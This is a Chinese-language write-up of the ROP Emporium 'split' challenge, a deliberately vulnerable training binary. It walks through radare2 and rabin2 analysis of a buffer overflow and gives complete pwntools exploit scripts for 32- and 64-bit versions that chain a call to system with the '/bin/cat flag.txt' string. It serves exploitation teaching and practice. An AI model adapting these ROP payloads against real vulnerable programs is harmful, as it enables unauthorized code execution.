split 题目链接:https://ropemporium.com/challenge/split.html
x86 根据题目描述,这个二进制程序中存在有用的字符串/bin/cat flag.txt
,并且存在对system
函数的调用。结合题目名字,猜测是将函数调用跟所需的参数分开了,需要我们自己去拼接起来。大致思路就是分别找到函数跟字符串的地址,然后拼成一个简单的ROP链即可。
首先,照例检查程序的保护情况:
1 2 3 4 5 6 7 $ checksec ./split32 [*]'/home/giantbranch/Desktop/rop_emporium_all_challenges/level2_split/32/split32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
使用radare2
查看程序中的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $ r2 -A ./split [0x08048430]> afl 0x08048430 1 50 entry0 0x08048463 1 4 fcn.08048463 0x080483f0 1 6 sym.imp.__libc_start_main 0x08048490 4 41 sym.deregister_tm_clones 0x080484d0 4 54 sym.register_tm_clones 0x08048510 3 31 sym.__do_global_dtors_aux 0x08048540 1 6 sym.frame_dummy 0x080485ad 1 95 sym.pwnme 0x08048410 1 6 sym.imp.memset 0x080483d0 1 6 sym.imp.puts 0x080483c0 1 6 sym.imp.printf 0x080483b0 1 6 sym.imp.read 0x0804860c 1 25 sym.usefulFunction 0x080483e0 1 6 sym.imp.system 0x08048690 1 2 sym.__libc_csu_fini 0x08048480 1 4 sym.__x86.get_pc_thunk.bx 0x08048694 1 20 sym._fini 0x08048630 4 93 sym.__libc_csu_init 0x08048470 1 2 sym._dl_relocate_static_pie 0x08048546 1 103 main 0x08048400 1 6 sym.imp.setvbuf 0x08048374 3 35 sym._init 0x08048420 1 6 sym..plt.got [0x08048430]>
可以看到,几个名字比较关键的函数,pwnme
,usefulFunction
,main
在这个系列的挑战中,main
函数的作用就是调用pwnme
函数,此后的系列题解中,无特殊情况,我们就不再重复查看main
函数。
我们先看pwnme
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 [0x08048430]> s sym.pwnme [0x080485ad]> pdg void sym.pwnme(void) { uint s; sym.imp.memset(&s, 0, 0x20); sym.imp.puts("Contriving a reason to ask user for data..."); sym.imp.printf(0x8048700); sym.imp.read(0, &s, 0x60); sym.imp.puts("Thank you!"); return; }
可以很容易看到,read
函数处存在明显的缓冲区溢出漏洞,偏移量使用clclic计算为44。
接着查看usefulFunction
函数:
1 2 3 4 5 6 7 8 9 [0x080485ad]> s sym.usefulFunction [0x0804860c]> pdg void sym.usefulFunction(void) { sym.imp.system("/bin/ls"); return; }
可以看到,usefulFunction
函数内部调用了system
函数,这也对应了题目的提示,程序中存在对system
函数的调用。通过前边afl
命令我们可以看到system
函数的虚拟地址为0x080483e0
接下来我们根据题目提示查找/bin/cat flag.txt
字符串的地址
1 2 3 4 5 6 7 8 9 10 11 $ rabin2 -z ./split32 [Strings] nth paddr vaddr len size section type string ――――――――――――――――――――――――――――――――――――――――――――――――――――――― 0 0x000006b0 0x080486b0 21 22 .rodata ascii split by ROP Emporium 1 0x000006c6 0x080486c6 4 5 .rodata ascii x86\n 2 0x000006cb 0x080486cb 8 9 .rodata ascii \nExiting 3 0x000006d4 0x080486d4 43 44 .rodata ascii Contriving a reason to ask user for data... 4 0x00000703 0x08048703 10 11 .rodata ascii Thank you! 5 0x0000070e 0x0804870e 7 8 .rodata ascii /bin/ls 0 0x00001030 0x0804a030 17 18 .data ascii /bin/cat flag.txt
可以我们所需的字符串在最后一项,其虚拟地址为:0x0804a030
我们构造ROP链所需的东西都找齐了,现在我们可以构造payload了,完整的exploit代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *p = process('./split32' ) e = ELF('./split32' ) offset = 44 system_addr = p32(e.plt["system" ]) bin_cat_addr = p32(0x0804a030 ) payload = offset*b'A' + system_addr + p32(1 ) + bin_cat_addr p.sendline(payload) p.interactive()
执行结果如下:
x64 与x86类似,但需要注意的是在64位环境下,函数参数的传递方式发生了变化,前六个参数改为了由寄存器传递,此处我们还需要找一个gadget来传递字符串参数。
1 2 $ ROPgadget --binary ./split --only "pop|ret" | grep rdi 0x00000000004007c3 : pop rdi ; ret
其余函数地址跟字符串地址的查找方式同上,不再赘述。
完整的exploit代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *p = process('./split' ) e = ELF('./split' ) offset = 40 system_addr = p64(e.plt["system" ]) pop_rdi_addr = p64(0x00000000004007c3 ) bin_cat_addr = p64(0x0000000000601060 ) payload = offset*b'A' + pop_rdi_addr + bin_cat_addr + system_addr p.sendline(payload) p.interactive()